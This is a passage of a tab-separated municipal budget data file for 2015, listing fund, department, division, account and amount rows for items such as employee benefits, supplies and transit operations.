17754	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	17500	0	0	0	0	0	0	0	0	0	0	0	17500
17755	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2015	389999	0	0	0	0	0	0	0	0	0	0	0	389999
17756	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	14090	0	0	0	0	0	0	0	0	0	0	0	14090
17757	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17758	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	630880	0	0	0	0	0	0	0	0	0	0	0	630880
17759	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	715436	0	0	0	0	0	0	0	0	0	0	0	715436
17760	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	19400	0	0	0	0	0	0	0	0	0	0	0	19400
17761	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	429125	0	0	0	0	0	0	0	0	0	0	0	429125
17762	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	47719	0	0	0	0	0	0	0	0	0	0	0	47719
17763	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	14090	0	0	0	0	0	0	0	0	0	0	0	14090
17764	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	203546	0	0	0	0	0	0	0	0	0	0	0	203546
17765	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17766	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	10620	0	0	0	0	0	0	0	0	0	0	0	10620
17767	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2015	19400	0	0	0	0	0	0	0	0	0	0	0	19400
17768	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2015	171270	0	0	0	0	0	0	0	0	0	0	0	171270
17769	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2015	353218	0	0	0	0	0	0	0	0	0	0	0	353218
17770	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2015	38940	0	0	0	0	0	0	0	0	0	0	0	38940
17771	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2015	52959	0	0	0	0	0	0	0	0	0	0	0	52959
17772	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2015	797073	0	0	0	0	0	0	0	0	0	0	0	797073
17773	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	1546773	0	0	0	0	0	0	0	0	0	0	0	1546773
17774	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	129122	0	0	0	0	0	0	0	0	0	0	0	129122
17775	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	12320	0	0	0	0	0	0	0	0	0	0	0	12320
17776	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2015	25780	0	0	0	0	0	0	0	0	0	0	0	25780
17777	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511749.0	VISION	806.0	Salaries and Wages	2015	12572	0	0	0	0	0	0	0	0	0	0	0	12572
17778	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511748.0	DENTAL	806.0	Salaries and Wages	2015	3660	0	0	0	0	0	0	0	0	0	0	0	3660
17779	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511749.0	VISION	804.0	Salaries and Wages	2015	6321	0	0	0	0	0	0	0	0	0	0	0	6321
17780	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511748.0	DENTAL	816.0	Salaries and Wages	2015	8448	0	0	0	0	0	0	0	0	0	0	0	8448
17781	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511749.0	VISION	808.0	Salaries and Wages	2015	735	0	0	0	0	0	0	0	0	0	0	0	735
17782	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17783	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	3206	0	0	0	0	0	0	0	0	0	0	0	3206
17784	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	1592	0	0	0	0	0	0	0	0	0	0	0	1592
17785	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	641289	0	0	0	0	0	0	0	0	0	0	0	641289
17786	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	70309	0	0	0	0	0	0	0	0	0	0	0	70309
17787	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DCAP	804.0	Salaries and Wages	2015	72	0	0	0	0	0	0	0	0	0	0	0	72
17788	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DCAP	804.0	Salaries and Wages	2015	714	0	0	0	0	0	0	0	0	0	0	0	714
17789	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EAP	808.0	Salaries and Wages	2015	524	0	0	0	0	0	0	0	0	0	0	0	524
17790	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EAP	808.0	Salaries and Wages	2015	2824	0	0	0	0	0	0	0	0	0	0	0	2824
17791	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		WELLNESS	810.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17792	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	3708	0	0	0	0	0	0	0	0	0	0	0	3708
17793	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	938	0	0	0	0	0	0	0	0	0	0	0	938
17794	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	2946	0	0	0	0	0	0	0	0	0	0	0	2946
17795	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1893	0	0	0	0	0	0	0	0	0	0	0	1893
17796	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	792	0	0	0	0	0	0	0	0	0	0	0	792
17797	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DISABILITY INSURANCE	812.0	Salaries and Wages	2015	7042	0	0	0	0	0	0	0	0	0	0	0	7042
17798	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DCAP	812.0	Salaries and Wages	2015	790	0	0	0	0	0	0	0	0	0	0	0	790
17799	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2015	2009	0	0	0	0	0	0	0	0	0	0	0	2009
17800	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EAP	816.0	Salaries and Wages	2015	314	0	0	0	0	0	0	0	0	0	0	0	314
17801	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DCAP	816.0	Salaries and Wages	2015	216	0	0	0	0	0	0	0	0	0	0	0	216
17802	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	1535	0	0	0	0	0	0	0	0	0	0	0	1535
17803	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	2986	0	0	0	0	0	0	0	0	0	0	0	2986
17804	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EAP	816.0	Salaries and Wages	2015	3662	0	0	0	0	0	0	0	0	0	0	0	3662
17805	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	25028	0	0	0	0	0	0	0	0	0	0	0	25028
17806	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DCAP	816.0	Salaries and Wages	2015	790	0	0	0	0	0	0	0	0	0	0	0	790
17807	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2015	16675	0	0	0	0	0	0	0	0	0	0	0	16675
17808	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		WELLNESS	806.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17809	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	6617	0	0	0	0	0	0	0	0	0	0	0	6617
17810	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		UNEMPLOYMENT	806.0	Salaries and Wages	2015	8706	0	0	0	0	0	0	0	0	0	0	0	8706
17811	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	4455	0	0	0	0	0	0	0	0	0	0	0	4455
17812	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	39800	0	0	0	0	0	0	0	0	0	0	0	39800
17813	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	1262	0	0	0	0	0	0	0	0	0	0	0	1262
17814	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	3168	0	0	0	0	0	0	0	0	0	0	0	3168
17815	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	10501	0	0	0	0	0	0	0	0	0	0	0	10501
17816	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	3343	0	0	0	0	0	0	0	0	0	0	0	3343
17817	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	103310	0	0	0	0	0	0	0	0	0	0	0	103310
17818	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511749.0	VISION	840.0	Salaries and Wages	2015	952	0	0	0	0	0	0	0	0	0	0	0	952
17819	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	431557	0	0	0	0	0	0	0	0	0	0	0	431557
17820	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2015	306796	0	0	0	0	0	0	0	0	0	0	0	306796
17821	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	1831	0	0	0	0	0	0	0	0	0	0	0	1831
17822	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2015	3026	0	0	0	0	0	0	0	0	0	0	0	3026
17823	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	23920	0	0	0	0	0	0	0	0	0	0	0	23920
17824	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	9534	0	0	0	0	0	0	0	0	0	0	0	9534
17825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	8585	0	0	0	0	0	0	0	0	0	0	0	8585
17826	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2015	34035	0	0	0	0	0	0	0	0	0	0	0	34035
17827	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	13897	0	0	0	0	0	0	0	0	0	0	0	13897
17828	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511010.0	ESTIMATED PAY RAISE	806.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17829	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	514	0	0	0	0	0	0	0	0	0	0	0	514
17830	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	3473	0	0	0	0	0	0	0	0	0	0	0	3473
17831	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	294	0	0	0	0	0	0	0	0	0	0	0	294
17832	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1589	0	0	0	0	0	0	0	0	0	0	0	1589
17833	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	45691	0	0	0	0	0	0	0	0	0	0	0	45691
17834	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	3660	0	0	0	0	0	0	0	0	0	0	0	3660
17835	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17836	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555940.0	GRAD NIGHT SUBSIDY	810.0	 Supplies and Expenses	2015	8752	0	0	0	0	0	0	0	0	0	0	0	8752
17837	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	22514	0	0	0	0	0	0	0	0	0	0	0	22514
17838	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	1588	0	0	0	0	0	0	0	0	0	0	0	1588
17839	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400490.0	FIREFIGHTER IN-SERVICE TRAININ	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17840	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT-ADMIN		 Supplies and Expenses	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
17841	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		YEAR-END CASH OUTS	816.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17842	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DCAP	804.0	Salaries and Wages	2015	288	0	0	0	0	0	0	0	0	0	0	0	288
17843	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522620.0	RENT	804.0	 Supplies and Expenses	2015	191861	0	0	0	0	0	0	0	0	0	0	0	191861
17844	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	5290	0	0	0	0	0	0	0	0	0	0	0	5290
17845	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	6500	0	0	0	0	0	0	0	0	0	0	0	6500
17846	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511748.0	DENTAL	804.0	Salaries and Wages	2015	14099	0	0	0	0	0	0	0	0	0	0	0	14099
17847	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	5375	0	0	0	0	0	0	0	0	0	0	0	5375
17848	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		YEAR-END CASH OUTS	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17849	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	66094	0	0	0	0	0	0	0	0	0	0	0	66094
17850	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566570.0	PERSONNEL EXAM EXPENSES	804.0	 Supplies and Expenses	2015	68206	0	0	0	0	0	0	0	0	0	0	0	68206
17851	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511690.0	OUTSIDE TEMP AGENCY EMPLOYEES	804.0	Salaries and Wages	2015	28597	0	0	0	0	0	0	0	0	0	0	0	28597
17852	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	2850	0	0	0	0	0	0	0	0	0	0	0	2850
17853	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	255	0	0	0	0	0	0	0	0	0	0	0	255
17854	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2015	57924	0	0	0	0	0	0	0	0	0	0	0	57924
17855	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566640.0	STATE RECYCLING PROGRAM	808.0	 Supplies and Expenses	2015	55200	0	0	0	0	0	0	0	0	0	0	0	55200
17856	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401580.0	RECYCLED MATERIALS	662.0	Other	2015	-445300	0	0	0	0	0	0	0	0	0	0	0	-445300
17857	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	1070	0	0	0	0	0	0	0	0	0	0	0	1070
17858	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	4489	0	0	0	0	0	0	0	0	0	0	0	4489
17859	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2015	153750	0	0	0	0	0	0	0	0	0	0	0	153750
17860	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544860.0	SUMMER FOOD SERVICE	810.0	 Supplies and Expenses	2015	24116	0	0	0	0	0	0	0	0	0	0	0	24116
17861	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	38590	0	0	0	0	0	0	0	0	0	0	0	38590
17862	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	8312	0	0	0	0	0	0	0	0	0	0	0	8312
17863	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	16946	0	0	0	0	0	0	0	0	0	0	0	16946
17864	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400980.0	SURF & SAND APPLICATION FEE	612.0	Charges for Service	2015	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
17865	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT	908.0	 Supplies and Expenses	2015	-4484010	0	0	0	0	0	0	0	0	0	0	0	-4484010
17866	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402160.0	AIRPORT - MISCELLANEOUS REV	662.0	Other	2015	-2545	0	0	0	0	0	0	0	0	0	0	0	-2545
17867	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2015	190453	0	0	0	0	0	0	0	0	0	0	0	190453
17868	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2015	20668	0	0	0	0	0	0	0	0	0	0	0	20668
17869	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2015	19054	0	0	0	0	0	0	0	0	0	0	0	19054
17870	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2015	3832	0	0	0	0	0	0	0	0	0	0	0	3832
17871	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	21260	0	0	0	0	0	0	0	0	0	0	0	21260
17872	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	6685	0	0	0	0	0	0	0	0	0	0	0	6685
17873	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	26480	0	0	0	0	0	0	0	0	0	0	0	26480
17874	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17875	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
17876	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	8234	0	0	0	0	0	0	0	0	0	0	0	8234
17877	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	2500	0	0	0	0	0	0	0	0	0	0	0	2500
17878	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544340.0	INDIRECT COST ALLOCATION	804.0	 Supplies and Expenses	2015	315155	0	0	0	0	0	0	0	0	0	0	0	315155
17879	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17880	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	500	0	0	0	0	0	0	0	0	0	0	0	500
17881	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	2500	0	0	0	0	0	0	0	0	0	0	0	2500
17882	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	1252	0	0	0	0	0	0	0	0	0	0	0	1252
17883	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	1350	0	0	0	0	0	0	0	0	0	0	0	1350
17884	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	1065	0	0	0	0	0	0	0	0	0	0	0	1065
17885	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17886	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17887	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	472628	0	0	0	0	0	0	0	0	0	0	0	472628
17888	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	6395	0	0	0	0	0	0	0	0	0	0	0	6395
17889	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	56011	0	0	0	0	0	0	0	0	0	0	0	56011
